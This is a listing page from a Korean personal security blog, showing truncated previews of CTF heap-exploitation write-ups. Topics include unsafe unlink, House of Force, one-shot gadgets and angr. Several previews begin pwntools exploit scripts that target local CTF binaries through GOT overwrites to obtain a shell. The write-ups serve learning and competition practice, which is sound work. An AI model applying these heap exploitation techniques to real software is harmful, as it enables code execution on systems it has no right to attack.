목록Lab (221)
cdor1's lab
내가 한동안 풀었던 문제들 중 unsafe unlink 기법을 사용했던 문제가 3~4문제 가량 되는 것 같아서 이 기법에 대해 정리 해보려고 한다. 기초 지식은 unlink는 free가 연속적으로 진행될 때에 병합시키기 위해 호출하는 매크로라는 것이다. 먼저, malloc.c 소스를 보자 /* Take a chunk off a bin list */ #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P); \ else { \ FD->bk = B..
후기 : 어렵다... fake chunk를 만드는 작업은 매우 정교해서 내 머리가 malloc이 되는 기분이다. system으로 got를 덮고 /bin/sh를 줘서 쉘을 얻어도 되지만 요번에는 새로 알게된 oneshot 가젯이라는 것을 써보았다. oneshot 가젯이란 execve함수로 /bin/sh를 실행해주는 libc에 있는 가젯인데 이걸로 got를 덮어주면 그 함수를 부르자마자 쉘을 얻을 수 있게 된다. from pwn import * s = remote('localhost',4000) elf = ELF('/home/cdor1/pwnable/freenote') libc = ELF('/home/cdor1/pwnable/libc.so.6_cdor1') printf_got = elf.got['printf..
후기 : unsafe_unlink의 걔념과 디버깅의 중요성을 깨우치게 해준 고마운 문제이다. 또 다른 fake_chunk를 만들어 공격하는 문제를 풀어보고 싶다. from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/SecretHolder') libc = ELF('/home/cdor1/pwnable/libc.so.6_cdor1') free_got = elf.got['free'] puts_plt = elf.plt['puts'] def keep(num, input): print s.recvuntil('3. Renew secret') s.sendline('1') print s.recvuntil('3. Huge secret'..
[*] 뉴비의 극히 주관적인 의견임을 알려드립니다. 1. malloc 후 strcpy로 복사하는데 널값 overwrite하는거 잘 보기2. malloc있구 free있는데 내가 원하는 size를 malloc 할 수 있는지 확인3. 내가 어디까지 덮을 수 있는지 잘 보기(overwrite 할 수 있는 양에 따라 기법 생각)4. unsorted bin에서 libc릭 가능한 백터 꼼꼼히 찾기 ***문제 풀면서 계속 추가해 나갈 예정***
후기 : 이전에는 널값을 overwrite해 chunk주소를 릭하는 방식의 문제만 풀어왔었는데 직접 alloc하고 free하며 uaf백터를 사용해 libc를 릭하니 뿌듯했다. bkp ctf는 내가 컴퓨터 공부 하고싶다고 생각할 때쯤 열렸던 대회인 것 같다. 내년엔 꼭 참여해봐야지 from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/cookbook') libc = ELF('/home/cdor1/pwnable/libc.so.6_cdor1') free_got = elf.got['free'] offset = libc.symbols['free'] - libc.symbols['system'] recipe = 0x0804d0a0..
9위의 슬픈 전설이 있는 write-up이다.엄청 예전에 진행했던 대회지만 지금 생각나서 올려본다.
힙은 스택보다 훨씬 정교하고 공격방법이 너무나 다양한 것 같다..그런데 요즘 생각나는건스택 BOF가 처음 발견되었을 떄 처럼 HEAP을 다루는 취약점들에 대한 보호기법은 아직 많지 않은데, 새로운 공격기법을 찾아내 보는 것도 좋은 시도가 되지 않을까 싶다. 공격방법이 다양한 만큼 문제를 볼 때 malloc을 어떻게 다루고 free를 어떻게 다루고에 대한 기술적 지식 뿐만 아니라창의력도 커야한다고 생각됐다. (모든 해킹이 그렇지만....) 새벽에 떠올라 학습욕구를 높이고 싶어 쓴 한 뉴비의 글이당
malloc이 3번 됐을때 주소들의 상황이다.현재 top chunk는 0x804c0e0에 존재하는데 만약 우리가 0x804c008의 주소를 leak 해낼수 있다면 주소 계산을 통해 top chunk를 구할 수 있다.a = malloc(0x40u); #1b = malloc(0x40u); #2c = malloc(0x40u); #3일 때 prev_size, size 등 등을 계산해서1번째 청크 722번째 청크 643번째 청크 72 0x804C010 + 0xd0(72+64+72) = 0x804c0e0 확실한 주소를 구하려면 32bit 환경에서는 +8을 64비트 환경에서는 +16을 해주어야 한다.이유는 청크 앞에 붙는 size 플래그와 널 때문이다.
how2heap을 만든 shellphish팀에서 angr라는 심볼릭 익스큐션을 해주는 python라이브러리를 제작했다.키값 찾는 리버싱 문제를 보면 사람들이 대부분 '아 이거 angr 쓰면 될 것 같은데?' 라고 말씀하시길래 어떠한 툴인지 찾아보고 싶어졌다. 요번 defcon 예선에 나왔던 baby-re 문제를 예로 들어 설명해보려고 한다.(여담이지만, defcon에서 나온 문제들이 ctf문제 트랜드를 만들어 가고 있는 것 같다.) (CheckSolution 함수의 오버뷰) baby-re 문제는 차례대로 12번 입력을 받고 마지막으로 CheckSolution 함수를 거쳐 올바른 키값인지 검사하는데,CheckSoultion 함수의 더미 코드를 삭제해 헥스레이를 가능케 만든 뒤 c코드를 보면 13차 연립방정..
후기 : HOF를 이용해서 배열로 관리되는 콘텐트의 GOT를 덮어 익스플로잇 하려고 했는데 잘 되지 않아 나중에 다시 잡아보려 한다... ㅠㅠ from pwn import * s = remote('localhost', 4000) elf = ELF('/home/cdor1/pwnable/bcloud') libc = ELF('/home/cdor1/pwnable/libc.so.6_cdor1') atoi = elf.got['atoi'] free = elf.got['free'] printf = elf.plt['printf'] bss = elf.bss() offset = libc.symbols['system'] - libc.symbols['atoi'] print s.recvuntil('Input your name:'..